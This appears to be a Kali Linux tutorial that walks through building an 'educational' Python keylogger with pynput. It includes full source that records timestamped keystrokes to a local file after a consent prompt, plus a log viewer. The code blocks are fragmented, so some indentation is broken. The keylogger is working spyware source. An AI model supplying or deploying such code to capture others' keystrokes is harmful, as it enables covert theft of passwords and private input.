

Install Virtual Environment Support

```
sudo apt update
```

```
sudo apt install python3-venv -y
```

Creat Project Directory

```
mkdir ~/educational_keylogger
```

```
cd ~/educational_keylogger
```

Create a Virtual Environment

```
python3 -m venv venv
```

This creates:

```
educational_keylogger/
```

```
|— venv/
```

Activate the Virtual Environment

```
source venv/bin/activate
```

You will see:

```
(venv) kali@kali:~/educational_keylogger$
```

Install pynput

```
pip install pynput
```

Verify:

```
python -c "import pynput; print('pynput installed successfully')"
```

Create Keylogger File

```
nano keylogger.py
```

Paste this code:

Python

```
from pynput import keyboard  
from datetime import datetime  
import os
```

```
LOG_FILE = "keystrokes.log"
```

```
def get_consent():  
    print("EDUCATIONAL KEYLOGGER (KALI LINUX) ")  
    print("Local logging only. Use on your own system.")  
    consent = input("Type YES to continue: ")
```

```
return consent == "YES"
```

```
def write_log(key):  
    with open(LOG_FILE, "a", encoding="utf-8") as f:  
        timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")  
        f.write(f"{timestamp} - {key}\n")
```

```
def on_press(key):  
    try:  
        write_log(key.char)  
    except AttributeError:  
        write_log(str(key))
```

```
def on_release(key):  
    if key == keyboard.Key.esc:  
        print("\n[+] Logging stopped")  
        return False
```

```
if __name__ == "__main__":  
    if not get_consent():  
        print("Consent not given. Exiting.")  
        exit()
```

```
print("[+] Keylogger started (Press ESC to stop)")
```

```
if not os.path.exists(LOG_FILE):  
    open(LOG_FILE, "w").close()  
    os.chmod(LOG_FILE, 0o600)
```

```
with keyboard.Listener(  
    on_press=on_press,  
    on_release=on_release  
) as listener:  
    listener.join()
```

Save:

CTRL + O → ENTER

CTRL + X

Run the Keylogger (INSIDE venv)

python keylogger.py

✓ Type YES

✓ Press keys

✓ Press ESC to stop

Create Log Viewer

nano [viewer.py](#)

Paste:

Python

```
def view_logs():  
    with open("keystrokes.log", "r", encoding="utf-8") as f:  
        print("\n--- LOGS ---\n")  
        print(f.read())  
  
if __name__ == "__main__":  
    view_logs()
```

Run:

python viewer.py